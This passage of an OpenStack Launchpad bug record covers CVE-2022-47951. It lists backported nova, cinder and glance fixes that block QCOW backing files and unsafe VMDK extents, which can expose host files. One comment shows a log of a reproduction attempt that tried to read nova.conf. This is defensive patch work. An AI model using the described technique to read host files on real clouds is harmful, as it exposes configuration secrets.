    reported by qemu-img matches what the caller says it is.

    Change-Id: I3c60ee4c0795aadf03108ed9b5a46ecd116894af
    Partial-bug: #1996188
    (cherry picked from commit 930fc93e9fda82a4aa4568ae149c3c80af7379d0)
    (cherry picked from commit ba37dc2ead69c08d7ede242295ff997086e6121d)
    Conflicts:
      cinder/image/image_utils.py
       - changed type annotations to use implicit Optional to be
         consistent with cinder yoga mypy usage
       - removed refs to image_conversion_disable in tests
    (cherry picked from commit 2ae5d53526e2b224d81b3259140c59aba97d72c3)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/xena)

Reviewed: https://review.opendev.org/c/openstack/glance/+/871619
Committed: https://opendev.org/openstack/glance/commit/f45b5f024e765f0000884dfec5ac222124cfbc6d
Submitter: "Zuul (22348)"
Branch: stable/xena

commit f45b5f024e765f0000884dfec5ac222124cfbc6d
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000

    Enforce image safety during image_conversion

    This does two things:

    1. It makes us check that the QCOW backing_file is unset on those
    types of images. Nova and Cinder do this already to prevent an
    arbitrary (and trivial to accomplish) host file exposure exploit.
    2. It makes us restrict VMDK files to only allowed subtypes. These
    files can name arbitrary files on disk as extents, providing the
    same sort of attack. Default that list to just the types we believe
    are actually useful for openstack, and which are monolithic.

    The configuration option to specify allowed subtypes is added in
    glance's config and not in the import options so that we can extend
    this check later to image ingest. The format_inspector can tell us
    what the type and subtype is, and we could reject those images early
    and even in the case where image_conversion is not enabled.

    Closes-Bug: #1996188
    Change-Id: Idf561f6306cebf756c787d8eefdc452ce44bd5e0
    (cherry picked from commit 0d6282a01691cecc2798f7858b181c4bb30f850c)
    (cherry picked from commit 4967ab6935cfd0274ae801ac943d01909a236a0a)
    (cherry picked from commit dc8e5a5cc7f5e9d1b697e520a7533cc90516db1b)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/xena)

Reviewed: https://review.opendev.org/c/openstack/nova/+/871622
Committed: https://opendev.org/openstack/nova/commit/867c4dd893ea7211e89b78b22b8da920a74622ff
Submitter: "Zuul (22348)"
Branch: stable/xena

commit 867c4dd893ea7211e89b78b22b8da920a74622ff
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800

    [stable-only][cve] Check VMDK create-type against an allowed list

    Trivial conflicts on xena only in:
            nova/conf/compute.py

    NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-validate-backport

    [1] https://docs.openstack.org/project-team-guide/stable-branches.html#appropriate-fixes

    Related-Bug: #1996188
    Change-Id: I5a399f1d3d702bfb76c067893e9c924904c8c360

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/yoga)

Reviewed: https://review.opendev.org/c/openstack/nova/+/871624
Committed: https://opendev.org/openstack/nova/commit/516f0de1f6a54cd24d8ebc906c1e3fd3bab0d32e
Submitter: "Zuul (22348)"
Branch: stable/yoga

commit 516f0de1f6a54cd24d8ebc906c1e3fd3bab0d32e
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800

    [stable-only][cve] Check VMDK create-type against an allowed list

    NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-validate-backport

    [1] https://docs.openstack.org/project-team-guide/stable-branches.html#appropriate-fixes

    Related-Bug: #1996188
    Change-Id: I5a399f1d3d702bfb76c067893e9c924904c8c360

Revision history for this message
Christian Rohmann (christian-rohmann) wrote (last edit ):

Jeremy: Thanks for your response. I did not mean to imply you did not inform to the best of your abilities. I rather wanted to mention recent experience with the SRU process of the Ubuntu Cloud Archive, which apparently does mean there are no new packages built and released for stable branch point releases per se.

I know opened an SRU bug (https://bugs.launchpad.net/cloud-archive/+bug/2003899) pointing to this bug here asking for new packages.

FWIW, I totally agree that the issue of the UCA not automatically providing new packages to fix critical (security) bugs is not something the OpenStack team is responsible for having sent out notifications on all the usual channels. But since UCA is a quite popular source for OpenStack packages and it's also used and promoted by deployment tooling like openstack-ansible I believe it's worth ask why the notification of incoming security fixes seems to not work as smooth here as with other distros.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to cinder (stable/rocky)

Fix proposed to branch: stable/rocky
Review: https://review.opendev.org/c/openstack/cinder/+/871817

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/victoria)

Reviewed: https://review.opendev.org/c/openstack/glance/+/871623
Committed: https://opendev.org/openstack/glance/commit/06e6be579156d8bf2ce8e021d07d6f351fb88c07
Submitter: "Zuul (22348)"
Branch: stable/victoria

commit 06e6be579156d8bf2ce8e021d07d6f351fb88c07
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000

    Enforce image safety during image_conversion

    This does two things:

    1. It makes us check that the QCOW backing_file is unset on those
    types of images. Nova and Cinder do this already to prevent an
    arbitrary (and trivial to accomplish) host file exposure exploit.
    2. It makes us restrict VMDK files to only allowed subtypes. These
    files can name arbitrary files on disk as extents, providing the
    same sort of attack. Default that list to just the types we believe
    are actually useful for openstack, and which are monolithic.

    The configuration option to specify allowed subtypes is added in
    glance's config and not in the import options so that we can extend
    this check later to image ingest. The format_inspector can tell us
    what the type and subtype is, and we could reject those images early
    and even in the case where image_conversion is not enabled.

    Closes-Bug: #1996188
    Change-Id: Idf561f6306cebf756c787d8eefdc452ce44bd5e0
    (cherry picked from commit 0d6282a01691cecc2798f7858b181c4bb30f850c)
    (cherry picked from commit 4967ab6935cfd0274ae801ac943d01909a236a0a)
    (cherry picked from commit dc8e5a5cc7f5e9d1b697e520a7533cc90516db1b)
    (cherry picked from commit f45b5f024e765f0000884dfec5ac222124cfbc6d)
    (cherry picked from commit 9a98c4a7d1358cdae009cc8fb6377160a126ea7b)
    Conflicts: glance/tests/unit/async_/flows/plugins/test_image_conversion.py
       - removed code related to missing tests - 050802dd67b9135e04a65d340531157c94248c51

tags: added: in-stable-victoria
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix proposed to cinder (master)

Related fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/cinder/+/871976

Revision history for this message
Sylvain Bauza (sylvain-bauza) wrote :

https://review.opendev.org/c/openstack/nova/+/871612 is now merged, putting the bug report to Fix Released.

Changed in nova:
importance: Undecided → Critical
status: New → Confirmed
status: Confirmed → Fix Released
Changed in cinder:
importance: Undecided → Critical
status: In Progress → Fix Released
Revision history for this message
Giuseppe Petralia (peppepetra) wrote :

I am trying to reproduce the bug with a focal/ussuri openstack and step 4 (creating the VM) is failing for me with error:

2023-01-30 11:45:24.823 62889 ERROR nova.compute.manager [req-54de4256-c3b0-46d9-9fa3-e1b17a81e5cb 7e70ed49536144699c3b2202b699b2a9 39b49452b4184ba4a07df3f50e600de8 - 1a40c665d79e45e6ba
d525d061cdb548 1a40c665d79e45e6bad525d061cdb548] [instance: e5814346-68e2-4ab0-b6ed-31c3ddf627ef] Failed to build and run instance: libvirt.libvirtError: internal error: process exited
while connecting to monitor: 2023-01-30T11:45:23.807934Z qemu-system-x86_64: -blockdev {"node-name":"libvirt-4-format","read-only":true,"discard":"unmap","cache":{"direct":true,"no-flus
h":false},"driver":"vmdk","file":"libvirt-4-storage","backing":null}: Could not open '/etc/nova/nova.conf': Permission denied

My nova version is:

root@juju-c1f3a4-peppepetra-8:~# dpkg -l | grep nova
ii nova-api-metadata 2:21.2.4-0ubuntu2 all OpenStack Compute - metadata API frontend
ii nova-common 2:21.2.4-0ubuntu2 all OpenStack Compute - common files
ii nova-compute 2:21.2.4-0ubuntu2 all OpenStack Compute - compute node base
ii nova-compute-kvm 2:21.2.4-0ubuntu2 all OpenStack Compute - compute node (KVM)
ii nova-compute-libvirt 2:21.2.4-0ubuntu2 all OpenStack Compute - compute node libvirt support
ii python3-nova 2:21.2.4-0ubuntu2 all OpenStack Compute Python 3 libraries
ii python3-novaclient 2:17.0.0-0ubuntu1 all client library for OpenStack Compute API - 3.x

Can you please tell me on which nova version are you seeing this issue?

Revision history for this message
Sylvain Bauza (sylvain-bauza) wrote :

Honestly, now this bug report is public, I don't really want to discuss about the attack vectors and how to reproduce the security issue.

At least what you need to know is that all the Nova releases versions had the bug until we fixed it.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance 23.1.0

This issue was fixed in the openstack/glance 23.1.0 release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance 24.2.0

This issue was fixed in the openstack/glance 24.2.0 release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance 25.1.0

This issue was fixed in the openstack/glance 25.1.0 release.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

@Guiseppe at comment #165:

This line in your output shows that the "backing file" exploit was attempted:

   Could not open '/etc/nova/nova.conf': Permission denied

Luckily it didn't succeed due to a permissions issue, but it might succeed for other files in your installation, so you should definitely upgrade/patch it.

Revision history for this message
Bjoern (bjoern-t) wrote :

Hello,

are we expecting patches for Rocky as it is still in EM?
But it seems based on oslo_utils.imageutils changes it can't easily be back ported it seems.
Could you add a clarification for Rocky ?

Revision history for this message
Jeremy Stanley (fungi) wrote :

Bjoern: There should be no expectations where extended maintenance[*] branches are concerned. Projects can voluntarily leave their branches open when they reach the extended maintenance phase, in order to facilitate collaboration between interested community members (typically package maintainers for distributions providing downstream support for those versions). If you are interested in supplying a backport to stable/rocky, please push it into Gerrit for reviewing.

Also, be aware that a proposal[**] has already been floated to close stable/rocky on all projects, so there may not be much time left to get patches merged there if you have them.

[*] https://docs.openstack.org/project-team-guide/stable-branches.html#extended-maintenance

[**] https://lists.openstack.org/pipermail/openstack-discuss/2023-January/031922.html

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

I backported the fix as far as stable/train so the Cinder project would at least make an attempt at a fix that supported python 2.7. Nova EOL'd queens, rocky, and stein in November 2022, which in my opinion effectively EOL's those branches for openstack in general (plus, the cinder gates are currently nonfunctional for stein and rocky); the last release of openstack to support python 2.7 is the train series.

The issue with oslo.utils.imageutils is that support for the 'format-specific' attribute of the json qemu-img info output was introduced in 4.1.0, which is python-3-only. However, support for reading the json output of qemu-img info was introduced in 3.14.0. Not sure how that matches up branch-wise, but oslo.utils rocky-em tag is the same as 3.36.5. So being able to read json isn't an issue.

If you want to backport the CVE-2022-47951 fix to rocky for Cinder, you'll need to do two things (as discussed in comment #86 above):

1. backport change Ia0353204abf8, which is commit 9f9194d804c in stable/train, to rocky. This will make cinder request json output from qemu-img-info

2. backport the cinder-1996188-train.patch attached to this bug (it's not in stable/train yet ... the stein and rocky gates aren't the only ones having issues!) which you can see in gerrit as https://review.opendev.org/c/openstack/cinder/+/871631. It includes code that will get the format-specific stuff out of the qemu-img info response if oslo.utils isn't able to do it.

The code is so old at that point that both those patches will produce conflicts (because they'll refer to stuff in train that isn't present in rocky), but hopefully the conflicts won't be too bad to resolve.

I'm not sure exactly what you'll need to do for nova. I suspect that json support was added to oslo.utils.imageutils specifically for nova, so you probably won't have to worry about part 1 of the cinder backport (though definitely verify that i'm correct about that). You'll need to make the same adjustment for oslo.utils <4.1.0 that we made in cinder; you can see it on the train patch here:

https://review.opendev.org/c/openstack/cinder/+/871631/1/cinder/image/image_utils.py#137

Hopefully it's obvious where to do that in the nova patch. Good luck!

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/wallaby)

Reviewed: https://review.opendev.org/c/openstack/cinder/+/871627
Committed: https://opendev.org/openstack/cinder/commit/be11d54ac420e0ebc0da6917d7ffc3af59b40f24
Submitter: "Zuul (22348)"
Branch: stable/wallaby

commit be11d54ac420e0ebc0da6917d7ffc3af59b40f24
Author: Brian Rosmaita <email address hidden>
Date: Wed Jan 11 09:50:29 2023 -0500

    Check VMDK subformat against an allowed list

    Also add a more general check to convert_image that the image format
    reported by qemu-img matches what the caller says it is.

    Change-Id: I3c60ee4c0795aadf03108ed9b5a46ecd116894af
    Partial-bug: #1996188
    (cherry picked from commit 930fc93e9fda82a4aa4568ae149c3c80af7379d0)
    (cherry picked from commit ba37dc2ead69c08d7ede242295ff997086e6121d)
    Conflicts:
      cinder/image/image_utils.py
       - changed type annotations to use implicit Optional to be
         consistent with cinder yoga mypy usage
       - removed refs to image_conversion_disable in tests
    (cherry picked from commit 2ae5d53526e2b224d81b3259140c59aba97d72c3)
    (cherry picked from commit e96415409daa158cc503c1adec1ca1ca4f940082)
    Conflicts:
      cinder/image/image_utils.py
       - removed type annotations
       - restored wallaby-era fetch_verify_image() function signature

tags: added: in-stable-wallaby
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/victoria)

Reviewed: https://review.opendev.org/c/openstack/cinder/+/871628
Committed: https://opendev.org/openstack/cinder/commit/17565262dafb5beeaec8e9e249e760fc64f3df93
Submitter: "Zuul (22348)"
Branch: stable/victoria

commit 17565262dafb5beeaec8e9e249e760fc64f3df93
Author: Brian Rosmaita <email address hidden>
Date: Sat Jan 14 07:06:27 2023 -0500

    Check VMDK subformat against an allowed list

    Also add a more general check to convert_image that the image format
    reported by qemu-img matches what the caller says it is.

    Change-Id: I3c60ee4c0795aadf03108ed9b5a46ecd116894af
    Partial-bug: #1996188
    (cherry picked from commit 930fc93e9fda82a4aa4568ae149c3c80af7379d0)
    (cherry picked from commit ba37dc2ead69c08d7ede242295ff997086e6121d)
    Conflicts:
      cinder/image/image_utils.py
       - changed type annotations to use implicit Optional to be
         consistent with cinder yoga mypy usage
       - removed refs to image_conversion_disable in tests
    (cherry picked from commit 2ae5d53526e2b224d81b3259140c59aba97d72c3)
    (cherry picked from commit e96415409daa158cc503c1adec1ca1ca4f940082)
    Conflicts:
      cinder/image/image_utils.py
       - removed type annotations
       - restored wallaby-era fetch_verify_image() function signature
    (cherry picked from commit be11d54ac420e0ebc0da6917d7ffc3af59b40f24)
    Conflicts:
      cinder/tests/unit/test_image_utils.py
       - did not include extraneous test from be11d54ac's parent commit
    Additions:
      cinder/image/image_utils.py
       - added code to handle oslo.utils<4.1.0,>=3.14.0
      cinder/tests/unit/test_image_utils.py
       - added a test for ^^

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/wallaby)

Reviewed: https://review.opendev.org/c/openstack/nova/+/871557
Committed: https://opendev.org/openstack/nova/commit/719a2a6089ec240d23caeb93ac25ed5259d8d9bc
Submitter: "Zuul (22348)"
Branch: stable/wallaby

commit 719a2a6089ec240d23caeb93ac25ed5259d8d9bc
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800

    [stable-only][cve] Check VMDK create-type against an allowed list

    NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-validate-backport

    [1] https://docs.openstack.org/project-team-guide/stable-branches.html#appropriate-fixes

    Related-Bug: #1996188
    Change-Id: I5a399f1d3d702bfb76c067893e9c924904c8c360

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/ussuri)

Reviewed: https://review.opendev.org/c/openstack/cinder/+/871629
Committed: https://opendev.org/openstack/cinder/commit/9902c17927b69e0b2379dfe8d2a2b89244162526
Submitter: "Zuul (22348)"
Branch: stable/ussuri

commit 9902c17927b69e0b2379dfe8d2a2b89244162526
Author: Brian Rosmaita <email address hidden>
Date: Mon Jan 16 14:44:04 2023 -0500

    Check VMDK subformat against an allowed list

    Also add a more general check to convert_image that the image format
    reported by qemu-img matches what the caller says it is.

    Change-Id: I3c60ee4c0795aadf03108ed9b5a46ecd116894af
    Partial-bug: #1996188
    (cherry picked from commit 930fc93e9fda82a4aa4568ae149c3c80af7379d0)
    (cherry picked from commit ba37dc2ead69c08d7ede242295ff997086e6121d)
    Conflicts:
      cinder/image/image_utils.py
       - changed type annotations to use implicit Optional to be
         consistent with cinder yoga mypy usage
       - removed refs to image_conversion_disable in tests
    (cherry picked from commit 2ae5d53526e2b224d81b3259140c59aba97d72c3)
    (cherry picked from commit e96415409daa158cc503c1adec1ca1ca4f940082)
    Conflicts:
      cinder/image/image_utils.py
       - removed type annotations
       - restored wallaby-era fetch_verify_image() function signature
    (cherry picked from commit be11d54ac420e0ebc0da6917d7ffc3af59b40f24)
    Conflicts:
      cinder/tests/unit/test_image_utils.py
       - did not include extraneous test from be11d54ac's parent commit
    Additions:
      cinder/image/image_utils.py
       - added code to handle oslo.utils<4.1.0,>=3.14.0
      cinder/tests/unit/test_image_utils.py
       - added a test for ^^
    (cherry picked from commit 17565262dafb5beeaec8e9e249e760fc64f3df93)
    Conflicts:
      cinder/image/image_utils.py
       - removed src_passphrase_file parameter to convert_image() that was
         introduced in victoria by change I896f70d204ad103e
      cinder/tests/unit/test_image_utils.py
       - removed references to ddt.TestNameFormat (not present in this
         version of ddt)

tags: added: in-stable-ussuri
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/ussuri)

Reviewed: https://review.opendev.org/c/openstack/glance/+/871626
Committed: https://opendev.org/openstack/glance/commit/b60fb70c9faf3b73eb4d8a73cd5cb09f2fa70a61
Submitter: "Zuul (22348)"
Branch: stable/ussuri

commit b60fb70c9faf3b73eb4d8a73cd5cb09f2fa70a61
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000

    Enforce image safety during image_conversion

    This does two things:

    1. It makes us check that the QCOW backing_file is unset on those
    types of images. Nova and Cinder do this already to prevent an
    arbitrary (and trivial to accomplish) host file exposure exploit.
    2. It makes us restrict VMDK files to only allowed subtypes. These
    files can name arbitrary files on disk as extents, providing the
    same sort of attack. Default that list to just the types we believe
    are actually useful for openstack, and which are monolithic.

    The configuration option to specify allowed subtypes is added in
    glance's config and not in the import options so that we can extend
    this check later to image ingest. The format_inspector can tell us
    what the type and subtype is, and we could reject those images early
    and even in the case where image_conversion is not enabled.

    Closes-Bug: #1996188
    Change-Id: Idf561f6306cebf756c787d8eefdc452ce44bd5e0
    (cherry picked from commit 0d6282a01691cecc2798f7858b181c4bb30f850c)
    (cherry picked from commit 4967ab6935cfd0274ae801ac943d01909a236a0a)
    (cherry picked from commit dc8e5a5cc7f5e9d1b697e520a7533cc90516db1b)
    (cherry picked from commit f45b5f024e765f0000884dfec5ac222124cfbc6d)
    (cherry picked from commit 9a98c4a7d1358cdae009cc8fb6377160a126ea7b)
    Conflicts: glance/tests/unit/async_/flows/plugins/test_image_conversion.py
       - removed code related to missing tests - 050802dd67b9135e04a65d340531157c94248c51
    (cherry picked from commit 06e6be579156d8bf2ce8e021d07d6f351fb88c07)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/ussuri)

Reviewed: https://review.opendev.org/c/openstack/nova/+/871702
Committed: https://opendev.org/openstack/nova/commit/3fe8880d3759cbd7b19d75dcf235dfd5c511be13
Submitter: "Zuul (22348)"
Branch: stable/ussuri

commit 3fe8880d3759cbd7b19d75dcf235dfd5c511be13
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800

    [stable-only][cve] Check VMDK create-type against an allowed list

    NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-validate-backport

    [1] https://docs.openstack.org/project-team-guide/stable-branches.html#appropriate-fixes

    Conflicts vs victoria in:
            nova/conf/compute.py

    Related-Bug: #1996188
    Change-Id: I5a399f1d3d702bfb76c067893e9c924904c8c360

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance 26.0.0.0b3

This issue was fixed in the openstack/glance 26.0.0.0b3 development milestone.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/train)

Reviewed: https://review.opendev.org/c/openstack/glance/+/871630
Committed: https://opendev.org/openstack/glance/commit/7756a90b7dacf44061d473eb03b92d2a40a307f6
Submitter: "Zuul (22348)"
Branch: stable/train

commit 7756a90b7dacf44061d473eb03b92d2a40a307f6
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000

    Enforce image safety during image_conversion

    This does two things:

    1. It makes us check that the QCOW backing_file is unset on those
    types of images. Nova and Cinder do this already to prevent an
    arbitrary (and trivial to accomplish) host file exposure exploit.
    2. It makes us restrict VMDK files to only allowed subtypes. These
    files can name arbitrary files on disk as extents, providing the
    same sort of attack. Default that list to just the types we believe
    are actually useful for openstack, and which are monolithic.

    The configuration option to specify allowed subtypes is added in
    glance's config and not in the import options so that we can extend
    this check later to image ingest. The format_inspector can tell us
    what the type and subtype is, and we could reject those images early
    and even in the case where image_conversion is not enabled.

    Some changes were required in the backport in order to pass the CI:
    Pep8 fix: ignore H703 errors.
    Py27 fix: FileNotFoundError did not exist in Python2.7.

    Closes-Bug: #1996188
    Change-Id: Idf561f6306cebf756c787d8eefdc452ce44bd5e0
    (cherry picked from commit 0d6282a01691cecc2798f7858b181c4bb30f850c)
    (cherry picked from commit 4967ab6935cfd0274ae801ac943d01909a236a0a)
    (cherry picked from commit dc8e5a5cc7f5e9d1b697e520a7533cc90516db1b)
    (cherry picked from commit f45b5f024e765f0000884dfec5ac222124cfbc6d)
    (cherry picked from commit 9a98c4a7d1358cdae009cc8fb6377160a126ea7b)
    Conflicts: glance/tests/unit/async_/flows/plugins/test_image_conversion.py
       - removed code related to missing tests - 050802dd67b9135e04a65d340531157c94248c51
    (cherry picked from commit 06e6be579156d8bf2ce8e021d07d6f351fb88c07)
    (cherry picked from commit b60fb70c9faf3b73eb4d8a73cd5cb09f2fa70a61)

tags: added: in-stable-train
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to glance (stable/wallaby)

Reviewed: https://review.opendev.org/c/openstack/glance/+/871621
Committed: https://opendev.org/openstack/glance/commit/9a98c4a7d1358cdae009cc8fb6377160a126ea7b
Submitter: "Zuul (22348)"
Branch: stable/wallaby

commit 9a98c4a7d1358cdae009cc8fb6377160a126ea7b
Author: Dan Smith <email address hidden>
Date: Mon Dec 19 15:00:35 2022 +0000

    Enforce image safety during image_conversion

    This does two things:

    1. It makes us check that the QCOW backing_file is unset on those
    types of images. Nova and Cinder do this already to prevent an
    arbitrary (and trivial to accomplish) host file exposure exploit.
    2. It makes us restrict VMDK files to only allowed subtypes. These
    files can name arbitrary files on disk as extents, providing the
    same sort of attack. Default that list to just the types we believe
    are actually useful for openstack, and which are monolithic.

    The configuration option to specify allowed subtypes is added in
    glance's config and not in the import options so that we can extend
    this check later to image ingest. The format_inspector can tell us
    what the type and subtype is, and we could reject those images early
    and even in the case where image_conversion is not enabled.

    Closes-Bug: #1996188
    Change-Id: Idf561f6306cebf756c787d8eefdc452ce44bd5e0
    (cherry picked from commit 0d6282a01691cecc2798f7858b181c4bb30f850c)
    (cherry picked from commit 4967ab6935cfd0274ae801ac943d01909a236a0a)
    (cherry picked from commit dc8e5a5cc7f5e9d1b697e520a7533cc90516db1b)
    (cherry picked from commit f45b5f024e765f0000884dfec5ac222124cfbc6d)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to cinder (stable/train)

Reviewed: https://review.opendev.org/c/openstack/cinder/+/871631
Committed: https://opendev.org/openstack/cinder/commit/e40a0bea89d4e5c99711f23faf3e18ff420ad100
Submitter: "Zuul (22348)"
Branch: stable/train

commit e40a0bea89d4e5c99711f23faf3e18ff420ad100
Author: Brian Rosmaita <email address hidden>
Date: Mon Jan 16 14:44:04 2023 -0500

    Check VMDK subformat against an allowed list

    Also add a more general check to convert_image that the image format
    reported by qemu-img matches what the caller says it is.

    Change-Id: I3c60ee4c0795aadf03108ed9b5a46ecd116894af
    Partial-bug: #1996188
    (cherry picked from commit 930fc93e9fda82a4aa4568ae149c3c80af7379d0)
    (cherry picked from commit ba37dc2ead69c08d7ede242295ff997086e6121d)
    Conflicts:
      cinder/image/image_utils.py
       - changed type annotations to use implicit Optional to be
         consistent with cinder yoga mypy usage
       - removed refs to image_conversion_disable in tests
    (cherry picked from commit 2ae5d53526e2b224d81b3259140c59aba97d72c3)
    (cherry picked from commit e96415409daa158cc503c1adec1ca1ca4f940082)
    Conflicts:
      cinder/image/image_utils.py
       - removed type annotations
       - restored wallaby-era fetch_verify_image() function signature
    (cherry picked from commit be11d54ac420e0ebc0da6917d7ffc3af59b40f24)
    Conflicts:
      cinder/tests/unit/test_image_utils.py
       - did not include extraneous test from be11d54ac's parent commit
    Additions:
      cinder/image/image_utils.py
       - added code to handle oslo.utils<4.1.0,>=3.14.0
      cinder/tests/unit/test_image_utils.py
       - added a test for ^^
    (cherry picked from commit 17565262dafb5beeaec8e9e249e760fc64f3df93)
    Conflicts:
      cinder/image/image_utils.py
       - removed src_passphrase_file parameter to convert_image() that was
         introduced in victoria by change I896f70d204ad103e
      cinder/tests/unit/test_image_utils.py
       - removed references to ddt.TestNameFormat (not present in this
         version of ddt)
    (cherry picked from commit 9902c17927b69e0b2379dfe8d2a2b89244162526)
    Additions:
      cinder/tests/unit/test_image_utils.py
       - added code to handle oslo.utils<4.1.0 when running unit tests under
         Python 2.7

Changed in glance:
assignee: nobody → Dan Smith (danms)
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Related fix merged to nova (stable/victoria)

Reviewed: https://review.opendev.org/c/openstack/nova/+/871699
Committed: https://opendev.org/openstack/nova/commit/eabb16a421326388c8d53a1b6ca47d79a03e0e16
Submitter: "Zuul (22348)"
Branch: stable/victoria

commit eabb16a421326388c8d53a1b6ca47d79a03e0e16
Author: Dan Smith <email address hidden>
Date: Thu Nov 10 09:55:48 2022 -0800

    [stable-only][cve] Check VMDK create-type against an allowed list

    NOTE(sbauza): Stable policy allows us to proactively merge a backport without waiting for the parent patch to be merged (exception to rule #4 in [1]. Marking [stable-only] in order to silence nova-tox-validate-backport

    [1] https://docs.openstack.org/project-team-guide/stable-branches.html#appropriate-fixes

    Conflicts vs wallaby in:
            nova/conf/compute.py
            nova/tests/unit/virt/test_images.py

    Related-Bug: #1996188
    Change-Id: I5a399f1d3d702bfb76c067893e9c924904c8c360

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Change abandoned on cinder (stable/rocky)

Change abandoned by "Brian Rosmaita <email address hidden>" on branch: stable/rocky
Review: https://review.opendev.org/c/openstack/cinder/+/871817
Reason: Rocky transitioned to End of Life by change I600914dd08e9 and is accepting no more changes.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance train-eol

This issue was fixed in the openstack/glance train-eol release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance ussuri-eol

This issue was fixed in the openstack/glance ussuri-eol release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance victoria-eom

This issue was fixed in the openstack/glance victoria-eom release.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix included in openstack/glance wallaby-eom

This issue was fixed in the openstack/glance wallaby-eom release.

To post a comment you must log in.
This report contains Public Security information  
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.